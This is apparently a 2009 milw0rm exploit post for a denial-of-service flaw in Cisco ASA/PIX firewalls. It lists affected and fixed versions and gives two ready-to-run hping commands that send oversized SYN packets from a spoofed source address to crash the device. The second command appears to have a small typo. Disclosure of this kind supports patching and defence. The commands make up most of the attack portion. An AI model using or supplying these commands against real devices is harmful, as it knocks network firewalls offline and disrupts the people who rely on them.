The vulnerability affects the following Cisco ASA/PIX versions:
Release Fixed in:
-------- ---------
6.3 Not affected
7.0 7.0(8.6)
7.1 7.1(2.81)
7.2 7.2(4.30)
8.0 8.0(4.28)
8.1 8.1(2.19)
8.2 8.2(0.230)
-----------------------------
Triggering the vuln
------------------------------
/*Utilize 1550 blocks on an ASA to trigger a crash...*/
hping --fast -p 22 -w 1518 -S -d 1480 -a 10.22.1.1 10.22.1.2
/* Trigger the vuln a bit faster */
hping --fast -p 22 -w 1518 -S -d 26201 .a 10.22.1.1 10.22.1.2
Reloading the device is the only way to recover from the denial of service.
| Daniel Uriah Clemens
"Moments of sorrow are moments of sobriety"
# milw0rm.com [2009-04-10]
